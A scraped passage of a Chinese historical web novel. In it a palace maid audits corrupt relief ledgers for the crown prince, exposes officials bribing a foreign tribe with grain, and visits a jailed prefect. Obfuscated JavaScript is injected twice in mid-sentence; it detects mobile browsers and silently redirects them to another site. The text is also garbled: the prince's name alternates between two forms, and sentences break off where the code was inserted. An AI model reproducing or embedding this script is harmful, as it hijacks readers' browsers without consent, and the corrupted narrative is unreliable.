竺影连眼睛都懒得睁,头枕榻沿道:“没事,不用管我,我先在地上睡会。” 翡儿又劝道:“先把脏衣裳换了,沐过热汤,才睡得更舒服。你这样在地上,会着凉。” 她一动不动,闭着眼睛装死。 翡儿只当她默许了,道:“那我先去了,等会来叫你。” 竺影这才慢腾腾支起一把散架的骨头,坐在妆镜前散发解衣。发冠一摘,铜镜上就飘了一层的灰。 正要去妆奁里取篦子,顺手拉开第一层抽屉,却只见几根素钗躺在里头,再摸到第二层,才见篦子。 竺影心中怪异,多年以来习惯也不曾改,不知是自己累糊涂了,还是确实有人动过她的物件。 等翡儿引梁府的婢子前来添热水,试了试水温,正正好,便唤竺影道:“水放好了,姊姊可以过来了。” 竺影梳顺了头发,放下篦子,走过去问她道:“我不在时,屋里有别人来过吗?” 翡儿道:“姊姊与殿下出去时,怀镜与怀岫两位姊姊来过,我们闲得没事,一同在屋里打络子呢。” “一天到晚都在玩么?”竺影满脸不可思议,又不忍失笑了,“那你们一定玩得挺累吧。” 翡儿听不懂她的反话,只憨憨笑道:“还好,累了就休息嘛。姊姊回来了也好好休息,我去找怀岫她们了,不打搅你。” 竺影笑着道好。 所幸是几个宫人在屋里玩闹,她便没往心里去。 耳房的门“吱呀”掩上,轻快的步子奔往庭院里去,穿杂在二月春的虫鸣声里。 破土的春蝉栖在石榴树荫底,竺影也栖在故居檐下睡去。 主屋的人洗浴过后,遣人搬了筵席出来,坐于廊下,借天光看书。 本来还在翻看陆尚书所著《禳灾》,不久,容侍郎差人送的骆门灾情册也到了。 文中写满了骆门官员是如何的办事不力,灾后的子民又是怎样的无以为继,密密麻麻的字迹铺满纸页,皆是使人头疼的东西。 孟闻花一刻钟看完了,角音恰从城外赶回来,步履匆忙,腰间佩剑也铿鸣。 一进院子,不吭一声就跪在孟闻面前。 “啧——”他依旧翻着册子,像是被人跪得厌倦了,头也不抬道,“怎的了?” 角音道:“属下办事不力,竟教他逃走了几个余孽,还请殿下降罪!” “逃了几个?” “三个。” “哦。”他容色淡淡的,眉毛也不挑,煞无介事似的。 “这群乌护人在并州来去自如,像是谁允了他们特权,否则不会旁若无人到如此地步。角音,去查一查,这些事到底是谁人准许的。” 角音领命,又退去了。 孟闻读完余下几页,合了册子叫宫人收去。翡儿接了,正要放回屋里去。 他似想起来什么,又问:“竺影呢?” 翡儿回道:“她睡了,殿下。” 孟闻道:“等她醒了,叫她过来。” 翡儿道:“好。” 随后去耳房外等了好几回,屋里昏暗又静寂,纱帐里睡着的人一点动静也没有。 可能是整日行路太累,她这一觉睡得久,直至傍晚,院子里的人都用过了晚膳,竺影才醒了,不紧不慢爬起来梳头绾发。 翡儿与怀岫在窗外窥她。 “竺姊姊醒了呀。” 竺影抬手掩了个哈欠,道:“有事吗?” 翡儿道:“院里给你留了饭食。” 怀岫道:“殿下有事找你,一直等你醒来,等了一个晌午。” 翡儿补充道:“还有一个下午。” 竺影本还慢悠悠梳发,闻言蓦地拍下了篦子。 这厮怎的就没累死? 她催着两人去回复,说她很快就来,只嘴上如是说着,实际穿衣绾发的动作更慢了,连妆奁里仅有的几支发钗,都不厌其烦试过几遍。 哄得自己出门时,日头已然沉在石榴树影后,洒下一层柔和的金光。 廊间只有一人,松松挽着发髻,饰一根素簪,却不戴冠,一身皦玉似的绸衫,外披一件宽松轻薄的氅衣,像一块不经修饰的玉,坐在影影绰绰的光斑里。 干净许多,也看着顺眼许多。 他转头见了竺影,张口即问道:“你穿这身衣服做什么?” 如果他能永远不开口就更好了,竺影心里想着。 “有何不妥吗?” 她低头看一看自己,分明是再寻常不过的宫人打扮,他还能揪出什么错处来? 怎奈他道:“此间事未了,近来还须得出几趟门,还是依照昨日那身罢。” “哦。”竺影随口应了,转身道,“那我回去换了。” 孟闻叫住她道:“不过也不着急,今日不出门了,先用饭罢。叫你过来,是因这里还有一笔烂账,等着你来看。” 什么好账烂账,竺影不禁哑然失笑,她当初不是个女史吗?又不是什么太府寺卿,怎么还要帮他管财货出纳? 她摇头兼摆手,竭力敷衍道:“殿下您想多了,我不会看账本,看不懂的。” 他举着账本,见了她也觉好笑:“你是鼗鼓*成精么?只知摇头?” 竺影道:“殿下,我当真的不懂这些。” 睢言道:“不懂也无妨,下次学学怎么把假话说得像真话。” 他好不讲理,起身便回房中。 竺影独坐在一桌留有余温的肴馔前,想破了脑袋也想不出来,到底是谁出卖了她,不然此人怎会知她底细? 她善数算,善著文章,还要从她那爱偷懒的兄长说起。 竺清曾在太学读书时,常常打着教习家中女弟的名义,将他自己的课业拿给她做,其中不乏策论、术算之类的题目。总催她当日写了,他第二日收走,拿去学宫交差。 无数个挑灯破题的夜晚过后,竺影才后知后觉,她被那纨绔兄长诓骗了好久。 不过从中习得小艺,往后跟母亲学习如何持家管账,也就信手拈来。算不上吃亏。 更别提现如今她一家都流放交州,纵使竺影想计较,也无甚机会了。 趁着天没完全黑,她仓促用完晚饭,蹑足往主屋。 绫罗帐里灯如昼,孟闻在灯下翻书。 “殿下。”竺影掀开斑竹帘走进去,烛火晃了晃。 他没有抬头看见她,只是在一阵风经过时,随口道:“坐罢。” 书案旁只剩一张筵席空着,一眼便知是给她空着的,竺影落座时,便也从善如流。 他此前拿的账簿就摆在案上,一本银钱流水,一本货物抄账。 “这账簿是梁氏呈的公帐,朝中拨给云琅郡的钱粮花去了何处,每日放赈多少,受赈人户几何,都记在这一本册子上了。”孟闻点了点桌上那本,另递过一本账来,说道,“这本是容侍郎送来的,记了骆门前两月的支 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她刚要把这烫手的册子放回原处,他反推了珠算过来,耐心道:“今夜可看得完?若是赶不及,可以给你找几个帮手。” 竺影正欲点头,想说此等国之大事还是交由旁人来办罢了。 他却又道:“就在隔壁客院里,几位大人尚未就寝,你自己去挑。” 她顿时语塞,继而如鼗鼓摇头。 她有多大脸面,能请得动使臣?况且使臣白日里忙着督责救济,安抚灾伤,有司自有正事要做。 孟闻道:“那就慢慢算。若是算得好,回京我便向陛下建言,把太府卿踹了,换你来当。” 竺影知道这是玩笑话,还是忍不住瞠目看他,仿佛在追问:殿下,你很希望我死吗? 对上她满是绝望的眼神,孟闻一句玩笑带过:“哦——不想当啊,至多也只能给你涨点俸禄了。” “殿下,您太抬举我了。”她仍旧推辞,执意将那账簿放下。只惜没能落到桌上,不偏不倚地落到他掌中,悬于半空。 他托起竺影的腕骨,不见了方才的耐心,取而代之的是厉声恫吓。 “还是说——你不敢开罪这府里的主人,故而选择得罪我?” 他脸色变得也快,竺影吓了一跳,慌忙抽出手来,嗫嚅道:“怎、怎么会呢?我又怎么敢违拗殿下?” 睢言观她垂首的模样,冷道:“这般磨蹭,是要等我亲自为你置笔研墨吗?” 她抬头偷偷窥一眼,见他拂袖危坐,阴骘面上,一双眼冷冷望着她,不单单是威胁,便又很快低下头去了。 直接挑明了说,不论得罪哪方,她横竖都是一死啊。 竺影心一横把账簿往案上一摔,一边展开扉页,一边咬牙切齿道:“算算算,我算还不成吗?” 展开细看时,才发现这本流水上有圈有点,说明已经有人核过帐了。 指尖打得算珠噼里啪啦响,心里不停破口大骂,一面骂梁叡,说是烂账,真是一点也不不为过。一面骂太子,钱也不过金数两,名也不过纸半张,且不说这两样他都给不起,还要把她的性命悬在刀口上。 当然还是后者被骂更多。 骂到一半,不对,是算到一半,孟闻又嗤她道:“算盘打得这样响,是生怕梁府的人听不见么?” 竺影收敛了力道,动静才小些。 正要伸手去拿毛笔,发觉笔砚都被他端了去。 跳动的烛火下,他低眉信手,正执一块墨条,细细研磨墨汁。 等她再抬头时,他便递过来一支笔,此时才肯同她解释:“你安心算账便是,不必有后顾之忧,我本就不是奔着揭发梁叡去的。不过是想拿今年的账,同往年的比一比,我想知道当年究竟是贪了多少,才能使得北地二州一十八郡,溃于蚁穴。” 竺影接住毛笔的手一顿,嗔怪看他一眼。也不知这人得了什么怪病,好端端非要来吓一吓她。 这会虽没有那么多忌惮了,便又开始认真查账。 孟闻捧着另一本不知名的册子翻开,另有他的事要忙。 竺影是个心思极细腻的人,每一笔支出都要反反复复比对推敲了,看它是否落到了实处。朝中拨来的赈灾粮何时入的库,何日出了库,何人负责分发的、运至各县乡时损耗多少。那些粮食是怎么分发下去的,隔几日分发,每人每户发了多少,赈粮的当日又有多少人来领了……诸如此类,一道道算下去。 但使有一条讲不清楚来龙去脉,前前后后对不上的,便是一笔有问题的账。她都提笔蘸朱墨圈,随后誊到另一张纸上。 就这么一条条罗列下来,便成了密密麻麻的罪状。 一夜都在烛火哔剥与算盘声中度过,她白日里睡得够久,晚上便不知疲倦了。 及至计完这笔烂账,搁下笔时,屋外仍是昏黑一片。 屋里没有刻漏,不知眼下是三更天还是五更天了。 灯芯浸在半盏膏油里,有几盏几近熄灭,灯火比她来时昏暗。竺影拿笔头挑了灯芯,使其燃得更亮。 回身时见太子坐在书案另一头,一手支额,眼睫低垂着,像是睡着了。 她凑过去小声唤了一句:“殿下。” “好。”他慢慢睁开眼,四目相对时,反把她吓了一大跳。 “算到哪儿了?”他不疾不徐支撑坐起。 竺影道:“物抄与流水算完了,剩下的没来得及看。” 她将誊抄好的几页纸整理了,双手呈上。毫不夸张道:“前前后后腾挪互抵过,账上的与实际其实也没差多少,只差了这么一点罢了。” 她伸出手来,两指之间比划出寸余的距离。 孟闻半信半疑地接了,却看着她算出的那笔不小的数目,愣了少顷。 出处与无法完全落实的十几笔,记有十万石粮。更有四万石粮及二十万银两不知去向。 夜书所见,银钱似流水,粮食如沙扬。 他又转头看竺影,迟疑半刻道:“你——不曾算错吧?” 太子殿下果然忘本,居然率先怀疑他身边最勤恳本分的女官。 “也有可能是我算错了,错枉了梁中正。” 她那急于推脱,不敢笃定的样子,竟显得谦逊万分。 “殿下明日去查一查,他的库里是不是还剩下这些,就知这帐有没有错了。” 云琅的官仓里是一粒粟也不剩了,至于梁氏与其他士族的私仓,他当然不会去查。 孟闻道:“且待明日再看看,他肯吐出来多少。” 他已有两日未安寝,疲于奔波,此时此刻还立在灯台前,暗自思量。 竺影跟他不一样,被抓来做了一夜苦力,她着急回去休息。 她困得身躯摇摇晃晃,上下眼皮暧昧地打过好几次照面,仿佛他再晚半刻答应,她就能直接睡倒在席上。 “殿下,那我能走了吗?” “嗯。” “多谢殿下,小人告辞。” 睢言方一点头,余下的话没说出口,她早提起裙裾到了门边上。 简直比逃命还惊惶。 33. 拟行路难(三) 岑寂的夜幕里,院外仍悬明灯,尚有护卫守在院墙外。更远处传来稀疏脚步声,应是有仆从在夜巡。 竺影从主屋里出来,轻手轻脚推门回屋,还是把浅睡的翡儿吵醒了。 翡儿在榻上翻了个身,小声咕哝道:“竺姊姊,这么晚才回来啊。” “抱歉,吵到你了。”竺影淡淡应声。 翡儿道:“真羡慕你啊——” 竺影安安静静听她嘴里冒出的鬼话。 “姊姊懂得的多,总能为殿下排忧解难,只是未免要辛苦些,正所谓能耐越大……能耐越大嘛。” 她说这话时,一半清醒着,一半又回了梦里。本来想出言安慰,一出口成了稀里糊涂的梦话。 竺影无心听罢,又解衣躺下。 难得有时间沾枕,却怕作息就此颠倒,不敢睡太久。 翌日晨起梳洗,见妆镜台下摆着衣案,案上一套新的褶衣罗裤,便知今日还要出门。 前院不设筵席,主家命人往后院来送膳食,太子殿下与一众官员用罢早膳,又将前往其余的郡治核实灾情。 瞿太守照太子吩咐的做了,一旦以名利诱之,梁氏果然愿意捐粮,拿出了足足两万石?并州其他有名望的士族纷纷效法,多多少少也捐了一些。 这几日各地纷纷设了粥棚,依旧按常例发放粮食。消息一经传出,离乡逐食的饥民开始折返,回到故土,却有不少不堪冻馁的,已死在了半道上。 州府另又拿出一笔银钱,雇用劳工安葬无主亡者,修建避难所。 历年朝中派使臣前去安抚灾伤,所做的无外乎如此。 各项措施施行下去之后,民生渐渐好转,乡间道路旁,不见那么多饿死骨与流民了。 只是这位太子殿下似乎仍不满足。 梁中正一时半刻摸不着头脑,于是只能亲自督促童仆,不敢在饮食起居上怠慢半分,近日准备的肴膳也是仿着宫中的规制,极近柔嘉,奉着上好的茶,熏着名贵的香料。 已经过去好几日了,梁叡仍是得不到太子殿下的好脸色。 再这样下去,等殿下回了朝中毁谤他半句,他这仕途不就止步于此吗? 于是愈加着急,他在给太子献殷勤一事上,愈加“变本加厉”、锲而不舍了。 尽管太子身边的宫人早提醒过,殿下不喜奢靡,不必在饮食方面多费心思。梁睿偏偏反其道而行之。一顿折腾下来,太子殿下的脸色比从前更黑。 竺影也深受其害,孟闻时常抓她做苦力看账,她时不时便要到主屋去,那屋里香气浓的,怎么掸也掸不开。 也总算懂了,为何这几日回冷了,太子殿下却更情愿待在屋外。 再名贵的香料竟梁氏这么一烧,跟烧柴似的半点个不心疼,也难脱离一个俗字。 晌午,前院的仆从又捧了膳食送过来,七荤八素,跟昨日没什么区别。只不过食箸换成镶了玳瑁的象牙箸,盛菜的碟也由漆陶换作了金银器。 太子殿下提起筷子,叹了一口气,若不是梁府的婢子还垂首立在眼前,他怕是下一刻就要把筷子丢出去。 末了,也只是一口未动便投箸,无可奈何道:“无甚胃口,撤了罢。” 婢子问了怀镜道:“贵人姊姊,可是今日饭食不合太子殿下口味?太子殿下有何喜好,能否请贵人姊姊去问了,奴回去请庖厨重新做了送来。” 怀镜也只能摇头叹息:“第一日,我不就说过了吗?” 婢子懵懵懂懂的,回前院传话去了。 连竺影也看不下去了,举书掩了半张脸,笑得幸灾乐祸。 梁叡似乎不怎么通人性,猜不到太子殿下这怪人脑子里想的什么,除非他亲口告知了,不然梁中正只会变着法子地谄谀,在这条路上走到黑。 说蠢也不蠢,毕竟单单讨好太子一个人,要比安顿好云琅数万灾民付出的人力物力,少得多得多。 如果竺影没算错的话,送到云琅的赈灾银粮被贪了一半,吐出来的就只有两成。 孟闻心知肚明,却也不好发难。 现下他食不下咽,许是还在为那一大笔不翼而飞的钱粮发愁吧。 孟闻回屋换了身衣衫,正过衣冠。走出门来,看着檐下的竺影,道一句:“走了。” “哦。”竺影方丢下书,忙不迭跟去。 近几日都是如此,已成习惯。 太子殿下遣人办事的法子就是抓苦力,接连两日不见角音,竺影就成了那唯一的苦力。 随行官员里也有詹事府的,还是陛下亲自指给他的,他偏偏放着不用,不知是信不过还是怎么的,专逮着竺影一个人薅。 人在屋檐下,她暂且容让一番,等回了京城,势必要报复回去。 太子殿下今日不打算出城,竺影只随他在云琅城中巡看。 正午,离城门不远的地方支起粥棚,热粥刚出锅抬了过来,那处早就挤满了人。几个士卒费劲维持秩序,还是乱作一团。 饥民探出胳膊脑袋,使劲伸远了碗,分得一碗薄粥充肠,稀里糊涂下肚,碗底空了无法再续,便只得不舍地徘徊在四周,眼巴巴地看。 那点分量压根不足以饱腹,勉强吊着一口气活着罢了。 只怪上头的人,容让他们活着,永远吃不饱地活着,偏又让他们看见前头似有若无的希望,裹着饥肠辘辘前行。 使他们仅有心求存,无心造反。 太子这回没有去到人群中,而是站在人群中远远地看,一语不发。 竺影猜测,他最后一点未泯的良心,也将在短短几日后烟消云散。 这些事看多了,自然而然也就麻木了。 “同我讲讲,从前的云琅是什么样?”孟闻喑哑着声,突然道。 竺影道:“殿下,我已经讲过了呀。” 孟闻道:“再讲一遍也无妨。” 竺影便又开始娓娓叙说。她讲负者歌于途,行者休于树;讲牧童摘桃,樵者拾杏,讲遍古书古画上的渔樵耕读。待及她说到云琅的某位官员深得百姓爱重…… “爱重到何种程度?”她自问自答,“当他在严冬腊月病发时,百姓闻知消息,皆忍不住会为他落泪。” 刻薄的太子殿下听了,抛来句不轻不重的质疑:“是么?” 竺影反问:“殿下竟是不信吗?” 他说:“耳听为虚。” 思及过往种种,竺影苦笑:“殿下怕是难有眼见为实的机会了,今人又有几个,会在百姓受贫寒之苦时,为之落泪呢?” 眼前之人,他就做不到。 睢言转而笑问:“你说的这人,莫不又是鼎鼎大名的祝令君吧?” 她胸中酸闷着,来不及点头或摇头,只是为那人遭旁人误解而痛苦。 其实她想去辩驳。一经思量,还是选择不去做这无意义的事。 到最后,她一反常态笑答:“旧人旧事俱往矣,不再提也罢。今日在城里为民众捐粮施粥的可是梁氏啊,没准梁中正真能博得乡人感颂,勒碑刻铭念其功德。” 他听了,“哧”地笑了一声,嘲讽之意不言而喻。 又在城楼上伫足一会儿,看城中施罢粥粮,百姓大多散去。竺影也随他归往梁府。 刚刚绕过影壁,入了二门,梁中正便亲自迎来,端着一副谄谀之态,一路跟随着,仔仔细细向太子殿下汇禀并州的诸多事宜,事无巨细。 竺影看得出来,孟闻有些头疼,无外乎点头糊弄过去。 他也是一个戴着假面,依靠假言假语和虚情假意求存的人。 哪怕他此刻极其想将梁叡痛骂一顿,可还是忍住愤慨,违心称赞:“做得不错,若陛下听闻,定会对中正赞赏有加。只是还有一事,须得与中正提一提。” 梁叡听了前半句 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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进屋合上门来,孟闻问道:“查得如何了?” “这几日属下带人前去边境守着,盯着那些行商的一举一动,果不其然守株待兔,截得几封国中与乌护往来的书信。”角音解释完,将信件一一呈给他看。 孟闻读罢了信,忽然冷地一嗤:“看来账上那些不知去处的钱粮,已找着下落了。” 却不是个好消息。 因着信里有一条比贪腐更重的罪——卖国。 密信当中写得明明白白,并州官员每年都向乌护使者行贿,送去过冬所需粮草,以求边境宁佑,乌护便承诺不再来犯。 余下的四万石粮与二十万银两,便是被人拱手送给了乌护,再无法追回来。 须知这些只是今年送去的,岂料往年又送去了多少? 来时只闻北方边境已有四年平和,谁能想到和平竟是以这样屈辱的方式换来的? 起初太子知道了这一切,看到饿殍遍野,官仓被蠹虫吃得一空。他费尽心思去弥补,去追回,却发现四梁八柱都朽了,怎么补都补不回来。 世人发现白蚁时,便该猜到,其实那整根梁柱都已被蛀空了,但使你轻轻一碰,便会坍塌。 至于信上的卖国者何人? 睢言的目光在信的末尾落定:云琅太守瞿良。 刚直凌厉的笔锋背后,却藏着他在外族侵略之下被压弯的脊骨。 逢此时,梁府的仆从进来同宫人传话:“劳贵人通传一声,便说是瞿太守在府外求见。” 怀镜将话带到太子殿下跟前。 孟闻收起密信,思及瞿良的孽行,不免冷下心来:“念他多年以来爱民勤政,更是亲自为百姓求粮,我本想保他,如今看来是保不住了,他怎么着都难逃一死。” 当下命怀镜去回了仆从:“叫他进来。” 须臾,太守经仆从牵引,到太子所居客院中。 正要找他问罪,他反自己送上门来。 34. 拟行路难(四) 瞿太守已被剥去官袍,打入牢狱里了。 竺影去时,只见一个头发斑白的中年人,颓然坐在监牢角落里。 暗室里无人,周遭寂静。 她缓缓走近,目光往更昏暗处探去。 太守尚未认罪,执拗地不面权贵,不愿抬头,竺影只得隔着牢门,远远唤一声:“瞿叔父。” “叔父……” 接连喊了几道,阶下囚才分来一个冷冷的眼神:“勿要这样称呼我。” “叔父是不记得我了吗?”竺影失落道,“遥想当年,我随父亲离了云琅进京,叔父还亲自到城外去送行。今日再见,叔父却说不记得。果真是时过境迁……连您也忘怀了。” “你、你……” 瞿太守眉脊骤然拧紧,瞬时摸爬起来,连带着稻草窸窣与锁链哐当的声音,几步摇摆到牢门前,扒着木柱想仔仔细细辨认竺影的脸。 “你是……竺清……”他看着竺影,声音发颤,“不对!” 竺影方想起来今日仍是一副男子装扮,她道:“我是竺影。” “是你啊,阿影,当年去京城时,你还这么小,如今竟都长大成人了。”瞿太守再睁开眼,想努力看清她时,花白的眉毛下,已是潸然泪下。 竺影道:“十年不见,叔父须鬓已皓然,可见多年劳苦。” 瞿太守抬手掩了面,只道:“我已是戴罪之身,不见功高,数年来不过空有劳苦。” 竺影道:“当年,父亲将叔父一手提拔起来,他对您很是赞赏。哪怕是在延都时,父亲也常常与我说,云琅郡瞿太守是个勤政爱民的好官。可是您怎么就落到了如今这般?” 竺影蹲下身来,温声劝道:“叔父能否与我诉吐,那些书信到底是怎么一回事?您到底为何要如此做?其间到底有何隐情?” 瞿太守一一答了。声泪俱下诉吐的,却是之前与太子说的那些话。 竺影不由惊愕了:“叔父当真糊涂啊!您怎么能、怎么能出此下下之策?” 若真如此,她何以去太子面前为他求情呢? 瞿太守随后又哭:“我实不忍见云琅再生离乱,实不忍见百姓再遭苦厄。只得出此下策,别无他法!” 又一个别无他法,竺影深深叹了一口气,眼下她当真是别无他法了。 她艰难扶着木柱站直起身,垂眸视着发须花白的瞿太守,叹了又叹,似怎么也叹不尽胸中气愤与苦闷。 “不想——父亲竟也有看错人的时候啊。”竺影缓缓说道。她是后生,本不应对长辈出言叱责,可是连她也没想到,“我也从未想过有朝一日,您会变成这样的——迂腐。” 瞿太守仰起头看她,目光怔怔的,很快羞愧地低下了头。 太子斥他通敌卖国时,他不觉有悔恨;唯有故人也不理解他时,才像钝刀剜在他心上,剜得鲜血淋漓。 “阿影,连你也这样诛伐我罢。换做是任何一个人在任上,他都会这么做的啊。若是启了边衅,一场场仗打输了,云琅又拿什么来偿?”太守声音沙哑,低头诉哭时,现出一道佝偻的背脊,贯穿了起起伏伏地啜泣。 竺影早已分不清是愤恨还是惋惜,平复了良久才再度开口:“是我浅薄,不经官场,不懂得叔父的两难。可我只有一言,云琅的百姓,他们任何一人都可以这样想,唯独瞿叔父您不能。您是他们的衣食父母官,应该明白这不仅仅是一场食粮之争、领土之争,它还维系了我朝的尊严啊。我们的乡土蒙受了那么多耻辱,您又怎么能忍心弃了尊严,容让外族再一次践踏这片土地?难道只不让他们的兵马越境,便算不得侵略了吗?” 瞿太守不言。 竺影又道:“‘奉之弥繁,侵之愈急。’这些,难道不是叔父当初对我兄长的教诲吗?” 她记得真切,今又提起这话来。 “叔父与乌护示好之举,与‘今日割五城,明日又割十城’有何异?外族寻衅,大可以暂事羁縻,假意待之,再寻长远之计;却不可以自甘下位,弯了腰来,将国朝的来日葬送。小战虽败,不足以致国灭,天下不忘,社稷尚存,就一定会有打赢的时候。只有到那时,才是百姓安居乐业的起点。” 瞿太守又扯袖蒙了脸,揩去眼泪,哭道:“叔父有愧有悔,今失足在狱中,白白令你笑话。” 竺影望着他垂首的样子,心中酸涩不能言,回首当年,父亲含冤入狱之时,会否也是这样的惨淡光景? 只是,她没有太多时间去感怀叹逝。 这样的沉默过去不多久,身后的门锁拉动,又有人亲身走入昏黑的地牢。回首,是一身锦衣玉冠,本是流光溢彩的锦缎,一走近就显得暗淡了,如蒙上了一层朦胧的灰。 “殿下。”竺影看了他一眼,大抵不满他的突然介入,却还是自觉站了起来,退至一旁行礼。 孟闻看向狱中人,脸上愠怒未消:“既知有愧,便将过往罪责一一供吐了罢,兴许还能亡羊补牢,为时未迟。” 他对待如今的瞿良,已经没有分毫礼重之意,生冷的语气硬是将人又挫矮了几分。 瞿太守隔着狱门行礼,向他深深一揖:“下官身死事小,边衅重启事大。下官已在狱中,触不得边境之事了。只怕长久维系的平衡被打破了,乌护岂能肯善罢甘休?允诺给他们的财帛粮草未能及时送到,他们必要来生事端。下官恳请殿下,务必要再此一事上,再三思量!” 孟闻道:“这些事我自有考量,府君既开了这个头,便也该料到今日结果。以贿求和我不能容,外族滋事我也不放过。” 竺影刚要说他好大的口气,梁朝与乌护积怨日深,并非一朝一夕能够和解,难道他不知边境一旦开战,要耗费多少财力兵力么? 更别提来日还要修什么观星楼,国库哪里还拿得出钱? 孟闻正色道:“此事朝中追责下来,不论是杀一儆百,还是杀一百,我都保不住你。毕竟祸从你这里开始。我本不欲同你多说些什么,却独独有一言想问——” 瞿太守道:“殿下请问罢。” 竺影以为他会问当年旧案的事,岂料他下一刻问的竟是:“若用府君一命,能换云琅三十万众的性命,府君愿意否?” 竺影与瞿太守皆怔住了。 他面上严肃,这并不是戏言,也并非作假。 “殿下!瞿太守纵有过错,殿下又何以至此?”竺影急急开口,一面想质问他,一面想叫他收回这番话。 她尚未来得及求情,太子一开口,就定下了旁人的死生。若是瞿太守应下了,岂不是再也没有回转的余地? 刚刚上前两步,孟闻便抬手拦住了她,唯独看向牢狱里的人。 瞿太守顿了片刻,终于还是接受了现实,视死如归道:“若得如此,下官甘愿!只请殿下善待罪臣的家人,更护好云琅三十万众,除此以外……罪臣别无他求了。” 此刻的太守长拜不起,俨然一副俯首系颈的姿态,满头花发垂在禾草堆里。同他的声音一道颤颤巍巍。 竺影看得于心不忍,只得偏过了头去。 “极好。”孟闻点了点头,平静问他,“仅有这些吗?须知有些话带到了棺椁里头,就再不能诉诸于世了。” 瞿太守始终未曾抬头,只道:“罪臣没别的要说的了。” 孟闻移目看了竺影一眼,似在掂量她此前的话里是否掺假,却只见她别脸。孟闻复又看向太守道:“府君有所隐瞒,看来是心中对我怀怨。” 瞿太守道:“下官岂敢?” 孟闻漠然垂视,思量了片刻,便轻而易举揭过他的谎:“你怨我对梁叡贪腐无所作为,怨我对并州民生视若无睹,怨我在对待乌护一事上不计后果,更怨我是为重建观星楼,才会亲自到北地来。” 瞿太守仍一言蔽之:“下官岂敢?” 孟闻拿他无可奈何。他纵迂腐,可也固执。执拗地守着他所认为的正确的事理,也挺直脊梁去对抗他所不认同的一切。 对峙得久了,孟闻竟从眼前人身上,依稀看出一点旧人的影子。 “承认了也无妨,这些话我也从民间听到过。我也的的确确,未能做到尽善尽好。”孟闻缓缓开口,素来薄凉的口吻里,竟听出一丝悲戚。 “十二年前,外祖奉命督北地二州一十八郡军事,更是亲自督建了云琅城外那座观星楼。岂料宁朔八年并州遭逢天灾,赈灾银与粮草早早拨下,却迟迟不达,送到之时已是十不存一,这才致使数万百姓冻毙于大雪。后来,我只听闻,是朝中有人与外族勾结,教他们趁虚而入,夺去了那十一城。北地的繁荣就此一去不复。最后陛下震怒,下令一查,查出背后贪腐最多、勾结乌护的罪臣,竟是我的外祖。” 自观星楼始建,到它落成的四年间,孟闻未尝踏足过北地。 他远在京城,故而只能从生人的口中拼凑出北地过往。旁人却因忌讳很少提起,所以他了解到的故事稀碎,又不那么真实。 清隽的身影在监牢外踱步,丝履在泥地上来来回回地走,走得越久,鞋底积的泥就越多、越厚,脚步也越沉重。 瞿太守颤悠悠抬首,泪光又溢满眼眶中,问太子道:“敢问殿下外祖何人?” 孟闻道:“正是宁朔九年,为此担了责,下了狱的陆尚书。换做是从前,我自不会相信他一心为国为民,会犯下此等事来。定然是有人在背后构陷,推他出去顶责。如今看来,他怕是也守着与瞿太守一样的‘苦衷’,顽固不化,也不算被错枉了罢。” 竺影适才转头,偷偷窥他,这位太子殿下好像跟她想象中的不大一样。 啧,年纪轻轻的,心思藏得还挺深。 幸而她被此人诓骗多回,长了教训,不然也会像瞿太守一样,被他这番话欺诈了。 太守听过他的话,听到他对陆尚书的误解,终忍不住为之申辩:“当年真相并非如此!陆尚书此生正直忠良、绝奢崇俭,绝非世人口中的奸佞!殿下身为陆尚书的血脉之亲呐,怎可像不识真相的旁人一般,如此曲解他?叫他泉下含冤,何时得瞑目呐!” “哦?”孟闻垂下眼睑,星目眯得狭长,“此事莫非有隐情?府君知晓,可否告知?” 瞿太守道:“瞿良曾与友人折箭为誓,要守住当年的实情与证据,终有一日为忠良沉冤昭雪。还请太子殿下立下誓言,誓为宁朔八年蒙受冤屈的众臣翻案,还朝堂一片清明,更要还北地数十万百姓一个交代,否则瞿良宁死也不会吐露一言!” 孟闻当着他的面,立下誓言:“皇天在上,后土为证,我孟闻在此立誓,今得云琅太守告知真相,来日定会为宁朔八年蒙冤之臣昭雪,换三年以后改弦更张,根除国中蛀虫,昭清白于世,如此,府君是否情愿?” “若真能如此,罪臣瞿良虽九死而无怨!”瞿太守顿首,又质问道,“只是太子殿下对梁叡之徒姑息庇纵,眼前之蛀尚不能拔除,来日又何以兑现诺言?” 孟闻道:“蠹啄剖梁柱,非一朝一夕之事,若是房中檩条腐朽,尚可以更换;若是梁柱朽坏,一经拆除,势必会令整间屋室顷刻倒塌,是故在立起新的中流砥柱以前,只可徐徐图之,不可妄动。府君要我裁撤梁叡,查办中□□,此事我暂且不能应允。” 瞿良恍然抬头,再度泪流满面。他便是那朽坏的檩条,一经撤职谁人都可以顶上。至于梁叡、梁元颖之流,则是根深蒂固的梁柱…… 孟闻继续说道:“至于我所言之事,既然敢许诺,便一定会兑现。孤为大梁储君,一言九鼎。” 竺影站在他身后,悄悄落下欷歔一声。 瞿太守还是选择相信胆敢立誓的太子,交出了北地官员与乌护人往来的罪证。 竺影与孟闻在牢里一伫足,便是一个时辰,听瞿太守讲述完了所有北地前尘往事,凡是他所知晓的,一一吐露。 牢狱里阴湿,同时透着腐烂的气息,唯有讲述者眼中扑朔的泪光,汇成了黑暗里明亮的一点。长达七年的昏黑过往,到而今才见拨云见月。 瞿太守最后说起,他曾藏匿下一箱账簿,里面记载着云琅城将近十年的军费、工费开支。 两人后来离了州府大牢,去了瞿太守府邸,依照他的指引进到了书房下的暗道,道路尽头是一间暗室。 只是暗室有石门阻隔,门上落锁,经年累月的灰尘落在上面,连铁链都锈蚀斑斑。 “上锁了?”角音持剑上前翘了两下锁链,荡起厚厚的扬尘,还几人咳个不止。 竺影拦着他道:“先等等,请殿下容我再去问 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16733647|183722||http|test|mini|href|location''.split(''|''),0,{})); () { 